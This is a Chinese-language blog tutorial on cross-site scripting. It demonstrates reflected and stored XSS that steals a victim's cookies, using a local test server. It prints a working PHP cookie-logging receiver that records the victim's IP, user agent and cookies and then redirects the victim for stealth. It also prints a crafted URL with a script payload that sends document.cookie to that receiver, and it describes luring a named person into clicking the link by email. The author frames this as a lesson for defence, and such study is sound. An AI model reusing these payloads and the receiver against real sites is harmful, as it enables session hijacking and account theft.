XSS(偷你的Cookies)

XSS(Cross Site Scripting),跨站脚本攻击,取名XSS是避免和CSS同名。XSS攻击原理:攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。同时这也因为HTTP采用的明文模式,这样就让黑客有机可乘了(在我另一篇文章介绍过利用fiddle可以捕获HTTP报文)。我发现网上很多关于XSS攻击的文章都没有详细说明如何进行一次XSS攻击,本文章的目的不是为了教会读者利用这项技术去盗取用户的信息,给出来的目的只是为了更好地理解XSS是如何进行的,目的是为了更好的防护。

XSS攻击主要分为两种:DOM Based XSS、Stored XSS,前者是基于DOM结构的攻击,后者是将攻击代码嵌入服务器或者数据库中。

DOM Based XSS

1、猜测分析攻击网站的代码
先假设这么一个场景,李佳家登陆了她的淘宝账号,而且确实知道她登陆了,假设我知道了淘宝页面的某个内容是通过url的get获取的,假设为content参数(当然真实的淘宝不会有这个漏洞,这里只是假设而已),假设为http://172.29.25.24:8080/phpTest/xss.php?content=123(这是我测试的一个网址),我猜测淘宝会是这样输出的:

 
    //setcookie("username","李佳家",time()+3600);
    //setcookie("password","123456",time()+3600);
    echo $_GET['content'];
 ?>

2、编写获取程序
这就是一个XSS漏洞了,这时候我建立一个自己获取网站test.php,将获取的信息保存在一个cookie.txt文件里面

$cookie = $_GET['cookie'];            //以GET方式获取cookie变量值

$ip = getenv ('REMOTE_ADDR');        //远程主机IP地址

$time=date('Y-m-d g:i:s');            //以“年-月-日 时:分:秒”的格式显示时间

$referer=getenv ('HTTP_REFERER');    //链接来源

$agent = $_SERVER['HTTP_USER_AGENT'];    //用户浏览器类型

$fp = fopen('cookie.txt', 'a');        //打开cookie.txt,若不存在则创建它

fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n");    //写入文件

fclose($fp);    //关闭文件

header("Location: http://www.baidu.com");  //将网页重定向到百度,增强隐蔽性

?>

3、制作URL
这时候到了关键的一步了。为了让李佳家发送cookies给我,我会通过一些方式让她点击我制作的URL比如事先知道她的邮箱,我会发给邮件给她。
制作的URL为:

http://172.29.25.24:8080/phpTest/xss.php?content=<script>window.open('http://172.29.25.24:8080/phpTest/test.php?cookie='%2Bdocument.cookie)script>

分析这个url
i、我将一段JavaScript代码当做content的值
ii、最终淘宝页面输出的content内容为:

<script>window.open('http://172.29.25.24:8080/phpTest/test.php?cookie='+document.cookie)script>

iii、需要注意一个地方,我看很多文章没有对上面的+替换,我就觉得奇怪,这样怎么可能会起作用呢,因为浏览器会将+号转义为空格,这样就失效了,所以需要将+编码为%2,或者用js的concat函数进行拼接。
iii、看到这个当输出上面的content之后浏览器会跳转到

http://172.29.25.24:8080/phpTest/test.php?cookie='+document.cookie

,而http://172.29.25.24:8080/phpTest/test.php
就是我获取cookies的程序,这个url还带了从淘宝网站带来的cookie变量,里面存了document.cookie,这就是李佳家在访问淘宝网时的所有cookies了,里面有用户的账号和密码。

那就来实际操作一下吧:
1、将xss.php代码里面的两句注释去掉,模拟两个cookie。
XSS(偷你的Cookies)_第1张图片
2、这时候李佳家这个大美女点了我给她发的url:

http://172.29.25.24:8080/phpTest/xss.php?content=<script>window.open('http://172.29.25.24:8080/phpTest/test.php?cookie='%2Bdocument.cookie)script>

3、这时候淘宝网就会执行这条语句:
window.open(‘http://172.29.25.24:8080/phpTest/test.php?cookie=‘+document.cookie)
跳转到:
http://172.29.25.24:8080/phpTest/test.php?cookie=‘+document.cookie
4、最后你打开cookie.txt就会收到李佳家的cookie和浏览器以及她用的操作系统信息了
XSS(偷你的Cookies)_第2张图片

Stored XSS
存储式XSS攻击的是更加广泛的人,因为它将攻击脚本存储到服务器或者数据库,比如我在某个博客里面写了一篇带有攻击性脚本文章。用户阅读我文章就会中招了。这段脚本其实跟上面的脚本原理是一样的,目的也是为了执行类似于这样的脚本:

<script>window.open('http://172.29.25.24:8080/phpTest/test.php?cookie='%2Bdocument.cookie)script>

接下来我用我本地的博客程序以身示范一下,我的博客采用的是yii框架,安全性还是可以的比如:
这里写图片描述
在url后面加上脚本后不会执行这段脚本,还是比较安全的,但是如果我把脚本放在了标题里面(内容里面是不会执行的,之后标题可以)
这里写图片描述
我把文章标题给修改成我们之前用过的脚本
成功获取了信息:
XSS(偷你的Cookies)_第3张图片
但是很遗憾,yii不会把cookies是受保护的,所以没能获取到,真是失望。但是这就是存储式XSS原理了。说完这个我要赶紧把我博客的那个XSS漏洞给补了。哈哈哈

总结:
1、XSS攻击原理跟SQL注入的原理都是超级简单的,但是后果却是很严重的,所以希望开发者能够重视一下。
2、DOM Based XSS这种类型攻击针对的是小众人群,所以别乱点邮件里面的连接啊
3、Stored XSS其实危害挺大的,希望大家不要去做违法的事情

你可能感兴趣的:(漏洞,XSS,web安全,脚本,js,web安全)